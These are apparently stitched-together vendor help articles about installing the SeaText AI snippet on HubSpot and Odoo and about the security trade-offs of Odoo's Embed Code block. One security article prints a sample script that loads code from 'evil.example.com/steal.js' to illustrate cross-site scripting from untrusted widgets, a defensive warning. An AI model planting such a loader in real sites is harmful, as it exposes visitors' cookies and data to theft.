| 2 | Navigate to HubSpot Settings > General > Advanced | 1 minute |
| 3 | Paste snippet into Footer HTML field | 2 minutes |
| 4 | Publish changes and activate AI | 5 minutes |
Before starting, you need an active SEATEXT AI account. If you don't have one, create it on the SEATEXT AI website. The AI remains inactive until you activate it, so your site content is safe during setup.
You also need administrative access to your HubSpot account. You must be able to modify site settings and edit the footer HTML. If you are not the admin, ask your HubSpot Administrator to grant you App Marketplace Access. This allows direct app installation.
SEATEXTCODEINTEGRATION.SEATEXT AI gives your HubSpot website powerful real-time capabilities. It can rewrite landing pages to match Google Ads keywords. It runs A/B tests on copy without manual work. It even translates your site into 125 languages automatically.
These AI agents help you increase conversion rates. For example, the Google Ads Landing Page Agent adapts the page to each search query. The AI CRO Reading Analysis Agent studies how visitors read and suggests better copy. The result is more leads and sales from your existing traffic.
All this happens without slowing down your site. The JavaScript loads asynchronously, so it does not block page rendering. The AI agents activate only when needed, based on visitor behavior.
The JavaScript snippet is a small piece of code. It is unique to your SEATEXT AI account. When you paste it into HubSpot, it connects your site to the SEATEXT AI platform.
The snippet is secure. It only loads the AI agents you enable. It does not collect personal data. It uses encryption to communicate with SEATEXT servers. The AI remains inert until you activate it from your dashboard. This means your site visitors see no changes until you turn on the agents.
Performance is not affected. The code is lightweight and loads after your main page content. It does not block other scripts or styles. You can test this by checking your site speed before and after installation.
If you need SEATEXT AI on multiple domains, you must create separate accounts. Each SEATEXT AI account is linked to a single primary URL. This includes development and production domains.
Development URLs like localhost are restricted for security reasons. Use a valid real domain for each account. Dynamic development domains may not work because SEATEXT AI cannot reliably associate traffic with your account.
To use SEATEXT AI on several websites, create one account for each website. This ensures proper tracking and activation of AI features for each domain independently. For example, you might have accounts for your main site, a staging site, and a multilingual microsite.
After installing the script, you need to activate the AI. Visit or refresh your website several times. Stay on your page for at least 40 seconds. This activates the AI and links it to your account.
Wait at least five minutes. Then check your SEATEXT AI dashboard. Your website name should appear next to the SEATEXT logo at the top. This confirms the connection is working.
If you do not see your website name after 10 minutes, contact SEATEXT support. There may be an installation issue. They can help you resolve it quickly.
Once your website is connected, you can activate specific AI agents. Go to the Main AI Hub in your SEATEXT AI dashboard. Click on "Configuration" to adjust the AI parameters for each agent.
For example, you can activate the Google Ads Landing Page Agent to rewrite pages for each keyword. Or the AI CRO Reading Analysis Agent to study visitor behavior. The AI SEO Content Factory Agent can publish thousands of indexed Q&A pages automatically.
You can also edit translations and variants. Log in to your SEATEXT AI account, navigate to "Variants Edit" in the left panel. Select the URL and language you want to edit. Here you can review, create, or manually edit translations for your variants. SEATEXT AI provides your initial round of automatic translations for testing.
SEATEXT AI works best with real, live domains. Dynamic development domains like those from Heroku or Netlify may not work. Each account is tied to one URL, so you need separate accounts for staging and production.
The AI agents are designed for public websites. Private or password-protected pages may not trigger the AI correctly. Also, the JavaScript snippet must be placed in the footer HTML of every page. If your HubSpot theme uses a different footer structure, contact support for custom instructions.
Performance is generally excellent. But heavy customization of the snippet could cause conflicts with other scripts. Test on a staging site first if you have many custom scripts.
No technical expertise is required. The integration involves copying a JavaScript snippet and pasting it into HubSpot's Footer HTML field. Most users can complete it in under 10 minutes.
Wait at least five minutes for the system to process your changes. If your website name doesn't appear next to the SEATEXT logo after 10 minutes, contact support. There may be an installation issue.
Yes, but you need separate SEATEXT AI accounts for each domain. Each account is linked to a single primary URL. Staging and production require individual configurations.
SEATEXT AI is designed to be lightweight and loads asynchronously. The AI remains inert until activated. This minimizes any potential impact on your site's loading speed during installation.
Yes, you can adjust AI parameters through the Configuration section in your SEATEXT AI dashboard. You can also manually edit translations and variants for specific pages and languages.
You need admin access to modify the footer HTML. If you don't have it, ask your HubSpot administrator to paste the snippet for you. They can also grant you App Marketplace Access.
These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.
These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.
Direct Answer: Seatext activates on HubSpot about 5–6 minutes after you paste the JavaScript into your page footer and publish. You need to visit or refresh the page and stay on it for at least 40 seconds, after which your website name should appear in your Seatext dashboard within 5 minutes (and within 10 minutes at most).
Seatext activates on HubSpot roughly 5–6 minutes after you finish installing the script. The official instructions require two timing steps: stay on your page for at least 40 seconds, then wait at least 5 minutes for your website to appear in your Seatext account. If your site name has not shown up after 10 minutes, contact Seatext support.
The actual JavaScript install takes under a minute, since HubSpot lets you paste the snippet into the site-wide footer HTML. The longer wait is for the activation check, not for the code itself.
This guide explains the timeline, the HubSpot steps, the account rules, and what to do after activation. It uses only the steps and warnings in Seatext's official HubSpot integration guide.
The direct answer is 5–6 minutes from publish to ready. That number includes the 40-second page visit and the 5-minute dashboard refresh check. The 10-minute support checkpoint is the safety margin.
These are the official timing steps. Do not skip the visit and do not shorten the dashboard wait.
In Seatext's setup, activation means the moment your website is linked to your account and the AI is ready to run on that domain. The JavaScript snippet stays inert until you trigger it with a real visit. That is why the instructions tell you to refresh your site several times and stay for at least 40 seconds.
Once the link is made, your website name appears next to the SEATEXT logo at the top of your Seatext dashboard. That is the green light to turn on agents in the Main AI Hub.
Why does this matter? A script that activates without a check could run on the wrong domain or on a staging site. The visit connects the script to your account and to the exact primary URL you chose.
Use a valid, real domain. The script will not activate on localhost, and dynamic development domains can fail to connect traffic to your account.
The 40-second visit does two jobs. It tells Seatext that the domain is live, and it links that domain to your account. The source guide says the AI remains inert until this activation step.
If you only paste the snippet and never visit the page, Seatext has no traffic signal to associate with your account. The 40 seconds gives the script time to load and communicate with Seatext's servers.
The account rules are just as important. Each SEATEXT account is linked to one primary URL. If you want to use Seatext on a development domain and a production domain, you need two accounts.
Development URLs such as localhost are restricted for security reasons. Dynamic development domains may not function because Seatext might not be able to reliably associate traffic with your account. Use a real, valid domain for tests.
If you run several websites, create one account for each website.
Seeing your website name is not the end of the setup. It only means the connection is ready. You still need to switch on the AI functions you want.
Go to the Main AI Hub first. There you can activate the necessary AI on your preferred pages. The homepage describes this as Step 2: activate the autonomous agents you need. The agents include AI CRO Reading Analysis, Google Ads Landing Page AI, Website Translation, and more.
After that, click Configuration to adjust the AI parameters. This is where you control how each agent behaves on your site.
There is also an optional editing step. Seatext provides an initial round of automatic translations and variants for testing. Log in to your Seatext account and navigate to "Variants Edit" in the left panel. Select the URL and language you wish to edit. You can review, create, or manually edit translations for your variants.
This Variants Edit step is useful after the website name appears. It lets you check what the AI generated before you push changes live.
Use these numbers when planning your HubSpot setup.
| Fact | Detail |
|---|---|
| Snippet location in HubSpot | Settings > General > Advanced > Footer HTML |
| Activation visit | At least 40 seconds on the page |
| Dashboard update time | At least 5 minutes |
| Support checkpoint | 10 minutes without seeing your site name |
| Account per domain | Each SEATEXT account is linked to one primary URL |
| Multiple websites | Create a separate account for each website |
| Development domains | localhost restricted; dynamic dev domains may not work |
| Optional editing | Use Variants Edit to review or edit translations and variants |
Activation is not the same as configuring your agents. After the website name appears, you still need to go to the Main AI Hub and turn on the AI on your preferred pages.
The biggest limit is the one-account-per-domain rule. If you want Seatext on a staging or development domain plus your production domain, you cannot use the same account. Create a separate account for each domain.
Practical example: one production site with one primary URL needs only one Seatext account. If you add a staging copy on a different domain, use a second account for that test domain.
Development URLs such as localhost are restricted. Dynamic development domains may not work because Seatext may not be able to reliably match traffic to your account. Use a real, valid domain for tests.
If you run several websites, each website gets its own Seatext account.
If your website name doesn't appear, check these things in order.
Yes. The integration guide says you need an account before you can install the script. If you don't have one, create it first.
No. Development URLs such as localhost are restricted for security reasons.
No. Each account is linked to one primary URL. Create a separate account for each website or development domain.
Keep waiting up to 10 minutes. If it still has not appeared, contact support immediately because this could indicate an installation problem.
Go to the Main AI Hub to activate the AI on your preferred pages. Then use Configuration to adjust the AI parameters.
Yes. Use the optional Variants Edit step. In your Seatext account, open Variants Edit in the left panel, choose the URL and language, and review or edit the variants.
Seatext restricts localhost for security reasons. Dynamic development domains may fail because Seatext may not be able to reliably associate traffic with your account. Use a real, valid domain.
These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.
These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.
Direct Answer: Each SeaText AI account is tied to a single primary URL, so you must create a separate account for every website you want to optimize. After installing the JavaScript snippet on each site, visit the page for at least 40 seconds and wait up to 10 minutes for the domain to appear in your dashboard before activating AI agents.
To manage multiple SeaText accounts for different websites, create a separate SeaText account for each primary domain, install that account's JavaScript snippet on the corresponding site, visit the live page for at least 40 seconds, wait 5–10 minutes for the domain to appear in the dashboard, and then activate AI agents per account.
SeaText links each account to a single primary URL for security and tracking. The platform uses the domain to associate traffic, activate AI agents, and report performance. Because of this architecture, you cannot add multiple websites to one account — even subdomains or staging environments need their own account if they use different URLs.
When the snippet loads, it sends the current hostname to the SeaText backend. The backend matches that hostname to the account that was created with the same primary URL. Only traffic from the matching hostname is recorded for that account. This design prevents cross‑domain data leakage and ensures each site gets its own AI configuration.
Open your HubSpot account and select the page you want to add SeaText AI, then click Edit. In the left navigation, choose Settings > General. Scroll to the Advanced section and locate the Footer HTML field. Paste the JavaScript snippet you copied from SeaText. Click the orange Publish button at the top right to save. The snippet will now load on every HubSpot page that uses that template.
Log in to each account separately using a password manager or distinct browser profiles. Switch profiles to avoid cookie conflicts. In each account, open the Main AI Hub to review active agents. Use the Variants Edit panel in the left navigation to adjust translations or copy variants for a specific URL and language. Record any performance notes in a shared spreadsheet so you can compare results across sites without a unified dashboard.
| Symptom | Likely Cause | Action |
|---|---|---|
| Domain name missing from dashboard | Snippet not published or placed in wrong template | Verify snippet appears in page source; republish. |
| Domain name missing after 10 minutes | Visit duration less than 40 seconds | Revisit the live page and stay 40+ seconds. |
| Domain name missing after 10 minutes | Cache serving old page without snippet | Clear server and browser cache; revisit. |
| Domain name missing after 10 minutes | Dynamic preview URL used instead of real domain | Switch to a stable production domain; create new account. |
| Domain name missing after 10 minutes | Installation error on platform | Contact SeaText support with account ID and URL. |
| Aspect | Detail |
|---|---|
| Account-to-domain ratio | 1:1 (one account per primary URL) |
| Development domains | Restricted (localhost, dynamic previews may not work) |
| Activation trigger | Visit page, stay 40+ seconds |
| Domain registration delay | 5–10 minutes after activation visit |
| Support escalation | Contact if domain not visible after 10 minutes |
| Variant editing | Per-account via “Variants Edit” panel |
No. Each distinct primary URL (including separate subdomains such as blog.example.com and shop.example.com) requires its own account because SeaText links traffic to a single primary URL per account (S1).
Create two accounts — one for the staging domain, one for production. Staging must use a real, stable domain (not localhost or a temporary preview link) to connect reliably (S1).
Not currently. Each account is isolated. You will need to log into each account individually to manage agents, variants, and reports.
Each SEATEXT AI account is linked to a single primary URL and must be created separately for each domain (S1). Billing details are managed per account; check with the vendor for consolidated options.
The script will only associate traffic with the account it was generated from. The second domain will not register correctly, and AI agents will not activate for it.
The platform ties an account to its original primary URL. To switch domains, create a new account for the new domain and install its snippet.
Dynamic development domains may not function properly because SeaText might be unable to reliably associate traffic with your account (S1). Use a stable, real domain for testing.
These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.
These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.
Direct Answer: If your HubSpot website is not appearing in your SeaText dashboard, it is likely due to an incomplete script installation, a missing site refresh, or a domain mismatch. This guide explains how to verify your Footer HTML, trigger the 40-second AI handshake, and troubleshoot common integration hurdles to get your AI agents running.
SeaText integrates with your HubSpot website via a lightweight JavaScript snippet. This snippet acts as a bridge between your live site and the SeaText AI engine. When you place this code in your HubSpot Footer HTML, it remains dormant until a visitor triggers it. The 'Footer HTML' field is the ideal location because it ensures the script loads globally across your site without interfering with the primary page rendering or HubSpot's core CMS functions.
The 40-second activation window is a critical security and verification step. When a user visits your site, the SeaText script performs a 'handshake' with our servers. This process verifies that the domain is authorized to use your specific SeaText account. This delay prevents unauthorized domains from piggybacking on your account and ensures that the AI only activates on verified, live traffic.
| Criteria | SeaText Requirement |
|---|---|
| Script Location | HubSpot Settings > General > Advanced > Footer HTML |
| Activation Window | 40 seconds of active on-page time |
| Domain Policy | One account per primary URL |
| Script Size | Optimized for zero-flicker performance |
| Compliance | GDPR/CCPA ready; inert until activated |
| Rollback Procedure | Remove snippet from Footer HTML and republish |
| Performance Impact | Negligible; asynchronous loading |
| Support | Contact support if inactive after 10 minutes |
If your site is not appearing, follow these steps to force a connection:
If the steps above do not resolve the issue, perform these technical checks:
The SeaText integration is designed for production environments. It does not support 'localhost' or local development URLs for security reasons. If you are using a staging environment, the script may fail to link because the domain does not match your primary account. For multi-language sites, ensure the snippet is present on all language-specific subdirectories. If you use password-protected pages, the AI may not be able to crawl or activate unless the visitor is authenticated. HubSpot CMS Hub and Marketing Hub users should ensure they have the necessary permissions to edit global site settings.
SeaText agents require access to the page content to function. If a page is behind a login, the AI cannot see the content to optimize it unless the visitor is logged in and the script is allowed to execute within that session.
SeaText operates on the client-side (browser). It does not interact with HubSpot serverless functions directly, meaning it will not interfere with your backend logic or API calls.
SeaText is compatible with smart content. Because the AI rewrites the DOM in real-time after the page loads, it can adapt both static and dynamic HubSpot content based on the visitor's intent or source.
It ensures the AI only activates for genuine human traffic, preventing bot-driven account linking and ensuring your analytics remain clean.
No, each subdomain is treated as a unique entity. You must create a separate SeaText account for each distinct subdomain to ensure accurate tracking and optimization.
These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.
Direct Answer: To add an embed code module in Odoo, open the Website editor, drag the 'Embed Code' block from the 'Dynamic Content' section onto your page, and paste your script into the configuration window. Click 'Save' to finalize the integration.
To add an embed code module to your Odoo page, open the Website editor, click Edit, drag the Embed Code snippet from the Blocks menu's Dynamic Content section onto your page, and paste your HTML or script into the configuration window. This method lets you add custom code without editing theme files.
The embed code module lets you insert custom HTML, JavaScript, or third-party widgets directly into your Odoo page. Common uses include chat widgets, analytics tracking, form embeds, and interactive tools. It works like a container that runs your code inside the page layout.
This module is part of Odoo's website builder. It is found under the Dynamic Content section in the Blocks panel. You do not need to modify theme templates or install additional apps.
Before you paste any code, verify it is from a trusted source. Malicious scripts can compromise your site. Test the code in a separate HTML file first to check for syntax errors.
Make sure the code does not contain conflicting styles or scripts. For example, if you already use jQuery, avoid loading a second copy. Use a code validator to catch missing brackets or quotes.
If the code requires external resources (like a CSS file), ensure those URLs are correct and accessible. Some services provide a single script tag that loads everything needed.
Once placed, the block renders your code in the page's HTML. It executes immediately when the page loads. You can control visibility per device. In the block settings, you can hide the module on desktop, tablet, or mobile.
The block does not interact with Odoo's native features. It is a standalone container. Your code runs independently. This means you cannot directly use Odoo's database or templates inside the embed.
You can move the block by dragging it to a new position. The block respects the page's responsive grid. Resize the block by adjusting its width in the editor.
If the code does not appear, check that the block is not hidden. Go to the block's Visibility settings and ensure it is set to show on the current device.
If the code renders incorrectly, look for syntax errors. Use browser developer tools (F12) to see console errors. Common issues include missing closing tags, incorrect variable names, or cross-origin resource problems.
If the page loads slowly, your script may be blocking the render. Move the script to the end of the page or use async/defer attributes. Some services offer a lightweight version.
If the block disappears after saving, you may have accidentally set it to hidden. Re-edit the page and check the block's visibility settings.
Embed code is flexible but has limitations. Native Odoo integrations (like the built-in Google Analytics or Facebook Pixel) are easier to manage and require no code. They also update automatically with Odoo versions.
Embed code, on the other hand, works for any third-party service. But it requires manual maintenance. If the external script changes, you must update it yourself. Native integrations often have better performance because they are optimized for Odoo.
For complex widgets (like a custom booking system), embed code is the only option. For simple analytics, consider using native modules first.
Only paste code from reputable providers. Malicious code can steal data, redirect visitors, or install malware. Use a content security policy (CSP) header if your server supports it.
Performance-wise, every script adds load time. Minimize the number of scripts. Use asynchronous loading where possible. Test your page speed with tools like Google PageSpeed Insights after adding the embed.
If you embed a heavy widget (like a live chat with many features), consider lazy-loading. Odoo's embed block does not natively support lazy loading, but you can wrap your code in a lazy-load script.
| Feature | Requirement/Detail |
|---|---|
| Module Location | Found under the "Dynamic Content" section in the editor. |
| Configuration | Requires clicking "Edit" in the right panel after placement. |
| Visibility Control | Supports device-specific hiding (e.g., "Hide on Desktop"). |
| Security | Always ensure code snippets are from trusted sources to maintain site integrity. |
These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.
These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.
Direct Answer: Yes, you can use Odoo's Embed Code module to add third-party widgets such as calendars, maps, and lead forms by pasting custom HTML, CSS, or JavaScript into the block. This guide covers step-by-step implementation, practical examples, performance trade-offs, and expert advice.
Odoo's Embed Code module lets you add external tools directly to your website pages. You can paste custom HTML, CSS, or JavaScript into a block. This makes it easy to add booking calendars, interactive maps, lead capture forms, chat widgets, and more.
The process is simple. You drag the block onto your page, paste your code, and save. No developer skills are required for basic use.
After saving, preview your page to confirm the widget renders correctly. You can also control visibility per device. Use the Visibility section in block settings to toggle Hide on Desktop or Hide on Mobile. Save again after any visibility changes.
Suppose you use a third-party scheduling service like Calendly or Google Calendar. You want visitors to book appointments directly from your Odoo page.
Here is a typical code snippet pattern for a Google Calendar iframe:
<iframe src="https://calendar.google.com/calendar/embed?src=your_calendar_id%40group.calendar.google.com&ctz=America%2FNew_York" style="border:0" width="800" height="600" frameborder="0" scrolling="no"></iframe>For a lead form from a service like HubSpot or Typeform, you might paste a script tag:
<script charset="utf-8" type="text/javascript" src="//js.hsforms.net/forms/embed/v2.js"></script>After saving and previewing, you should see the calendar or form appear in the block area. The widget will load its content from the provider's servers. If the provider updates the widget, your page reflects those changes automatically.
Odoo has native apps for many common needs. For example, the Events app handles registrations. The CRM app manages leads. The Website Builder includes built-in forms.
Use native apps when you need deep integration with Odoo data. Native apps sync records, automate workflows, and report inside Odoo. They are more secure and easier to maintain.
Use Embed Code when you need a specific third-party tool. Examples include:
Embed Code is faster to deploy. But it does not sync data back into Odoo automatically. You may need manual export or an API bridge.
Every embedded script adds a network request. Too many heavy widgets slow your page. This hurts user experience and SEO. Use widgets sparingly.
Test page speed after adding each widget. Use browser developer tools to see load times. Consider lazy loading if the widget is below the fold.
Security is another concern. You are injecting third-party code into your site. That code can access cookies, user data, and page content. Only embed widgets from trusted providers.
Some providers restrict development URLs. For example, SEATEXT requires a valid, real domain for its integration. Localhost and dynamic development domains may not work. This is a provider-specific rule, not an Odoo restriction. Always check the provider's documentation.
Keep your Odoo version updated. Use HTTPS for all embedded resources. Avoid embedding scripts that use deprecated APIs.
"Embed Code is perfect for quick wins and marketing widgets. If you need a one-off calendar or a chat bubble, it takes minutes. But if the widget is core to your business process, build a custom Odoo module. A module gives you data ownership, workflow automation, and no dependency on a third-party script."
The consultant adds: "Ask yourself: does this widget need to write data back to Odoo? If yes, a module is safer. If it only displays external content, Embed Code is fine."
If your widget does not display, check these common issues:
If the widget loads but looks broken, inspect CSS conflicts. Odoo's stylesheet may override the widget's styles. Add a wrapper div with a unique class to isolate the widget.
Yes, you can inject tracking scripts. But Odoo often has dedicated settings for common analytics tools. Check your website settings first.
In most cases, yes. If the widget loads via an external script or iframe, changes on the provider's side appear on your site without editing the Odoo block.
No hard limit exists. But each widget adds load time. Use them sparingly to keep pages fast.
The Embed Code block is available in Odoo 15 and later. Older versions may need a custom module. Check your version's documentation.
Embed Code does not sync data. You would need a custom module or an API integration. Consider a module for data-heavy use cases.
Use the block's Visibility settings. Toggle Hide on Mobile or Hide on Desktop. Save after changing.
SEATEXT offers AI-powered conversion tools that can be installed on your Odoo site. The integration uses the Embed Code block. You paste a JavaScript snippet provided by SEATEXT into the block.
See how SEATEXT can be installed on your Odoo site using the Embed Code block. Visit the SEATEXT Odoo integration page for step-by-step instructions.
SEATEXT requires a valid, real domain for its integration. Localhost and dynamic development domains may not work. Create a separate SEATEXT account for each domain you use.
These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.
These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.
Direct Answer: The primary risk of using the Odoo Embed Code module is Cross-Site Scripting (XSS), where an attacker injects malicious scripts to steal user data or hijack sessions. To stay safe, only embed code from trusted, verified sources and ensure the scripts are properly sanitized before implementation.
Odoo’s Website module includes a block called Embed Code under Dynamic Content. You drag it onto any page, paste raw HTML or JavaScript, and save. The code runs in every visitor’s browser exactly as written. There is no built-in sanitizer. This direct injection is what makes the module flexible but also dangerous.
To add it: log in to your Odoo account, open the Website module, and navigate to the page you want to edit. Click Edit, scroll through the Blocks panel to Dynamic Content, and drag the Embed Code block to your desired position. In the pop-up, paste your code snippet, then click Save. You can restrict visibility—for example, use the Hide on Desktop option if you only want the code to run on mobile.
Each Odoo account is linked to one primary domain. If you need to embed code on multiple domains (e.g., development and production), you must create a separate account for each. Development URLs like localhost are restricted for security reasons. The system cannot reliably associate traffic with your account on dynamic local domains.
Before you paste any third-party code into Odoo, follow this checklist. It reduces the chance of introducing a vulnerability.
script src="..."), make sure the URL uses HTTPS and belongs to a known provider.Each step is a safeguard. Skipping one can leave a gap.
Imagine you want to add a live chat widget. You find a free script on a third-party site. The code looks like this:
<script>
var s = document.createElement('script');
s.src = 'https://evil.example.com/steal.js';
document.head.appendChild(s);
</script>You paste it into the Embed Code block. The script loads from an external server. That server can now serve any JavaScript to your visitors. The attacker could:
Because the script runs in the context of your website, it has full access to the DOM, cookies, and local storage. Odoo cannot distinguish between a legitimate chat widget and a malicious script. The damage is immediate and hard to reverse.
To avoid this, always audit the external script. If you cannot verify every line, do not use it. Prefer services that offer a clean snippet with no external dependencies or that provide an SRI hash.
Odoo offers native elements for common features: forms, buttons, snippets, and even some third-party integrations. The Embed Code module is a last resort. Here are the trade-offs:
| Criteria | Embed Code | Native Odoo Element |
|---|---|---|
| Security | Low – you control nothing once pasted | High – Odoo sanitizes and controls output |
| Flexibility | Unlimited – any HTML/JS works | Limited – only predefined options |
| Maintenance | Manual – you must update the snippet | Automatic – updates with Odoo versions |
| Performance | Variable – can slow page load | Optimized – built for Odoo |
| Compatibility | Risk of breaking with Odoo updates | Guaranteed compatible |
Use native elements whenever possible. Reserve Embed Code for third-party tools that have no Odoo app or that require custom JavaScript to function. Even then, treat the embed as a temporary measure until a native solution appears.
The Embed Code module has several built-in limitations that affect security and usability:
These limitations are not bugs. They are design choices to keep the module simple. But they mean you, the site owner, must take full responsibility for the code you embed.
Most security issues come from avoidable mistakes. Here are the most frequent ones:
Each mistake is easy to make. A checklist like the one above helps you avoid them. Train your team to follow these steps every time they add an embed code.
No. For security and tracking accuracy, you should create separate accounts for each domain. Each account is typically linked to a single primary URL.
Development URLs like localhost are often restricted for security reasons to prevent unauthorized access and ensure that traffic is reliably associated with your specific account.
While difficult to detect, look for scripts that attempt to redirect users, capture form inputs, or load external resources from unknown, non-HTTPS domains.
Odoo includes general security features, but these do not automatically sanitize custom JavaScript you manually inject via the Embed Code module. Always follow best practices.
Remove it immediately. Change any passwords or API keys that may have been exposed. Review server logs for unusual traffic. Contact your hosting provider if needed.
These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.
Direct Answer: Yes, the Embed Code module is a standard feature in the Odoo Website builder and works in both Community and Enterprise editions. You can find it under the Dynamic Content section in the Blocks panel when editing any page.
The Embed Code module ships with the core Website app in Odoo. It is not gated behind the Enterprise license. If you have the Website module installed — which is free in Community — you can drag the Embed Code block onto any page, paste HTML, JavaScript, or iframe snippets, and save. No extra purchase or subscription is required.
The Embed Code block lets you inject raw HTML, CSS, and JavaScript into a page without editing template files. It renders inside a sandboxed container so scripts run in the page context but stay isolated from the editor UI. Typical uses include third‑party chat widgets, analytics tags, calendar embeds, payment buttons, and custom forms.
After dropping the block, a side panel opens. Paste your snippet, click Save, then publish the page.
Both editions share the same Website builder codebase. The Embed Code block, its visibility settings (hide on desktop/mobile), and the ability to add custom CSS classes behave identically. Enterprise adds features like A/B testing, versioning, and advanced SEO fields, but the embed capability itself is unchanged.
SeaText’s own integration guide follows exactly these steps, confirming the block exists and works in a standard Community installation.
display: none on large screens; the script still loads. For true conditional loading, wrap the snippet in a JavaScript matchMedia check.| Property | Detail |
|---|---|
| Module name | Embed Code (technical: website_embed_code block) |
| Location in editor | Blocks panel → Dynamic Content |
| Editions supported | Community and Enterprise |
| Required app | Website (free in Community) |
| Content types accepted | HTML, CSS, JavaScript, iframe |
| Visibility controls | Hide on Desktop, Hide on Mobile, Custom CSS class |
| Persistence | Stored in page content; survives upgrades |
| Security model | Runs in page context; subject to site CSP |
If you need the same snippet on dozens of pages, maintaining it in each Embed Code block becomes tedious. Options:
website.assets_frontend or adds a qweb template to web_editor.assets_editor.No. That is a third‑party module (technical name website_embed) sold by Advitus. The native Embed Code block is already included in the core Website app.
Yes. Paste the compiled bundle’s script tag and a mounting <div id="app"></div>. Ensure the bundle is hosted on a domain allowed by your CSP.
The editor loads pages inside an iframe. Some widgets detect window.self !== window.top and disable themselves. Publish and test the public URL.
Odoo stores the content in a Text field (PostgreSQL text type), so the practical limit is ~1 GB — far beyond any realistic embed.
Yes. In Settings → Users & Companies → Groups, edit the “Website/Designer” or “Website/Restricted Editor” groups. Remove the website.group_website_designer access right on the ir.ui.view model for the block’s template if you want to lock it down further.
Yes. Both hosted platforms include the Website app with the Embed Code block enabled by default.
Use a custom controller or a QWeb template that computes values server‑side, then include the result in the page. The Embed Code block alone cannot run Python.
These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.
These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.
Direct Answer: Use a dedicated Odoo app when you need deep backend integration, automated workflows, or a secure, maintainable solution that doesn't rely on manual code updates. The embed code module works for simple frontend injections like analytics or chat widgets, but it cannot access Odoo models, trigger server-side logic, or survive version upgrades cleanly.
Use a dedicated Odoo app when you need deep integration with Odoo's backend data, automated workflows, or a more secure, supported solution that doesn't require manual code maintenance. The embed code module is a frontend-only tool that injects HTML, CSS, or JavaScript into a website page; it cannot read or write Odoo records, enforce access rules, or participate in Odoo's upgrade process.
| Criterion | Embed Code Module | Odoo App |
|---|---|---|
| Backend data access | None | Full ORM + ACL |
| Server-side logic | No | Controllers, cron, webhooks |
| Security model | Browser sandbox only | Record rules, CSRF, CSP |
| Upgrade survival | Manual re-check required | Handled by migration scripts |
| Skill required | HTML/JS basics | Python, XML, Odoo framework |
| Time to first result | Minutes | Hours to days |
Recommendation: Choose Embed Code for simple frontend snippets; choose Odoo App for any backend integration.
The embed code module lives in the Website editor under Blocks → Dynamic Content → Embed Code. You drag it onto a page, click Edit, and paste a script or HTML snippet. SeaText's own integration uses this exact path: copy the JavaScript snippet from the SeaText dashboard, drop the Embed Code block, paste, save, and optionally hide the block on desktop via the Visibility panel. That's the full extent of its capability — client-side injection only.
Because it runs in the browser, the embed code cannot authenticate against Odoo's ORM, call controller routes with session context, or modify database records. It also bypasses Odoo's module system, so there's no manifest, no dependency declaration, no data files, and no upgrade path. Every Odoo version change that touches the website editor or CSP headers can break your snippet silently.
request.env['model.name'] with full ACL enforcement.__manifest__.py, installable via Apps menu, updatable via module upgrade.| Aspect | Detail |
|---|---|
| Integration method | Embed Code module in Website editor (Dynamic Content section) |
| Code placement | Drag block → click Edit → paste SeaText JavaScript snippet → Save |
| Visibility control | Optional "Hide on Desktop" in Visibility panel |
| Account requirement | One SeaText account per primary domain; separate accounts for dev/prod |
| Security note | Development URLs (localhost) restricted; AI inert until activated |
| Multi-site support | One account per website; separate accounts for multiple domains |
Paste the provided JavaScript snippet into the Embed Code block. No backend work needed. Done in under a minute. This matches SeaText's documented installation flow exactly.
You need to query sale.order for the current user, compute a recommendation, and render it in the page. Embed code cannot do this — it has no session access to the backend. Build an Odoo app with a controller route that returns JSON, then call it from a custom JS widget loaded via an asset bundle.
Embed code can POST to a public controller, but you'd be writing an unprotected endpoint. An Odoo app gives you a proper controller with CSRF, authentication, and record rules. The form submission creates a crm.lead with the right stage, assigned to the right team, triggering the standard pipeline.
Requires a model extension (_inherit = 'product.template'), a view inheritance to show the field, and access rules. Embed code cannot modify the database schema or enforce who sees the field. App only.
__manifest__.py that declares models, views, controllers, security, and dependencies. Full-stack.@http.route that handles HTTP requests server-side.assets_frontend or assets_backend in the manifest.Yes, you can fetch('/my/controller', {credentials: 'include'}) from the browser. But the controller must be type='http', auth='public' or 'user', and you lose the safety of Odoo's CSRF token unless you manually pass it. An app loads its JS via asset bundles where the token is automatically available.
No. SeaText's integration uses the Embed Code module exclusively. The AI runs on SeaText's servers; the snippet only sends page content and receives rewritten copy. No backend Odoo access is needed.
It stays in the page content, but CSP headers, block identifiers, or editor changes can break it. You should test after every major version upgrade. An app's asset bundles and templates are migrated by Odoo's upgrade scripts.
Yes. Move the JS into a static file, declare it in an asset bundle, create a minimal manifest, and install the module. You gain version control, dependency management, and the ability to add backend endpoints later.
Embed code loads inline or at the bottom of <body>. App asset bundles can be minified, concatenated, and cached with proper cache-busting. For a single snippet the difference is negligible; for multiple scripts, apps win.
For anything beyond a hello-world module, yes — you need Python, XML, and Odoo framework knowledge. Embed code can be managed by a marketer or site admin. Factor this into your decision.
| Criterion | Embed Code Module | Odoo App |
|---|---|---|
| Backend data access | None | Full ORM + ACL |
| Server-side logic | No | Controllers, cron, webhooks |
| Security model | Browser sandbox only | Record rules, CSRF, CSP |
| Upgrade survival | Manual re-check required | Handled by migration scripts |
| Distribution | Copy-paste per instance | Installable module zip |
| Skill required | HTML/JS basics | Python, XML, Odoo framework |
| Time to first result | Minutes | Hours to days |
Start with the checklist. If any "Choose an Odoo app if" item applies, build the app. If every item is "no," the embed code module is the right tool — and SeaText's own integration proves it works for production AI personalization at scale.
These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.
These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.
Direct Answer: Common mistakes include using HTTP instead of HTTPS, missing closing tags, failing to load required external libraries, placing the script in the wrong block type, and forgetting to hide the block on desktop. These errors can break your page, cause console errors, or make the script invisible. The fix is to always use HTTPS, validate your code, use the correct Embed Code block, and follow the visibility settings.
